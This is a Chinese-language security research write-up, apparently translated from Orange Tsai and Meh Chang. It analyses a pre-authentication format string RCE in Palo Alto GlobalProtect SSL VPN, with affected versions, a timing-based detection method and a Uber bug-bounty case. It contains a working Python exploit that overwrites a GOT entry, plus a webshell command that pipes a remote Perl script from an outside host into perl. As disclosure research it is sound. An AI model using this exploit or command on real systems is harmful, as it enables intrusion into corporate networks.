攻击SSL VPN系列(一):Palo Alto GlobalProtect预认证RCE漏洞分析,以Uber为例

本文详细分析了Palo Alto GlobalProtect SSL VPN中存在的预认证格式字符串漏洞,该漏洞可导致远程代码执行。文章包含漏洞验证方法、利用技术细节,并以Uber实际案例展示攻击过程。

攻击SSL VPN系列(一):Palo Alto GlobalProtect预认证RCE漏洞分析

作者: Orange Tsai(@orange_8361) 和 Meh Chang(@mehqq_)

SSL VPN用于保护企业资产免受互联网暴露,但如果SSL VPN本身存在漏洞会怎样?它们暴露在互联网上,被信任为保护内网入口的唯一屏障。一旦SSL VPN服务器被攻破,攻击者就能渗透内网甚至控制所有连接到该VPN的用户!基于其重要性,过去几个月我们启动了对主流SSL VPN产品安全性的研究。

我们计划分三篇文章发布研究成果。本文将作为首篇,因为它是一个有趣的故事,非常适合作为我们在Black Hat USA和DEFCON演讲的开胃菜:

《像NSA一样渗透企业内网 - 主流SSL VPN的预认证RCE漏洞!》

漏洞详情

这是一个无需认证的简单格式字符串漏洞。sslmgr是处理服务器与客户端SSL握手的SSL网关,通过Nginx反向代理暴露在/sslmgr路径下。

1
2
3
4
5
6
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

在参数提取过程中,守护进程会搜索字符串scep-profile-name并将其值作为snprintf格式字符串来填充缓冲区,导致格式字符串攻击。使用%n即可使服务崩溃:

1
2
3
4
5
POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

受影响版本

根据我们的调查,2018年7月之前的所有GlobalProtect版本均受影响:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x和7.0.x系列不受此漏洞影响。

漏洞验证方法

虽然我们知道漏洞位置,但验证并不容易。该格式字符串没有输出,我们无法通过地址泄露来验证。我们选择使用%c作为验证工具:

1
2
3
4
$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s

随着%c数量的增加,响应时间相应延长,从而优雅地识别出存在漏洞的SSL VPN。

漏洞利用

确定具体版本后,我们通过修改Global Offset Table(GOT)中的strlen指针为system的Procedure Linkage Table(PLT)地址来实现利用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # 需修改
system_plt = 0x445566 # 需修改

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

修改完成后,sslmgr就成为我们的webshell,可以通过以下方式执行命令:

1
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

Uber案例分析

在我们确认这不是0day后,调查了全球使用存在漏洞GlobalProtect的大型企业,Uber是其中之一。以vpn.awscorp.uberinternal.com为例:

从域名推测Uber使用AWS Marketplace的BYOL服务。从登录页面看似乎是8.x版本,最终我们确定版本为8.0.6并成功获取shell。

Uber迅速响应并修复了漏洞,他们给出了详细的漏洞奖励决定说明:

“虽然这是一个无需认证的RCE,但由于该Palo Alto SSL VPN不是员工使用的主要VPN,且部署在AWS而非核心基础设施中,因此整体影响和位置优势较低。”

我们享受整个研究过程并向安全社区反馈,这比漏洞奖励更有价值!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计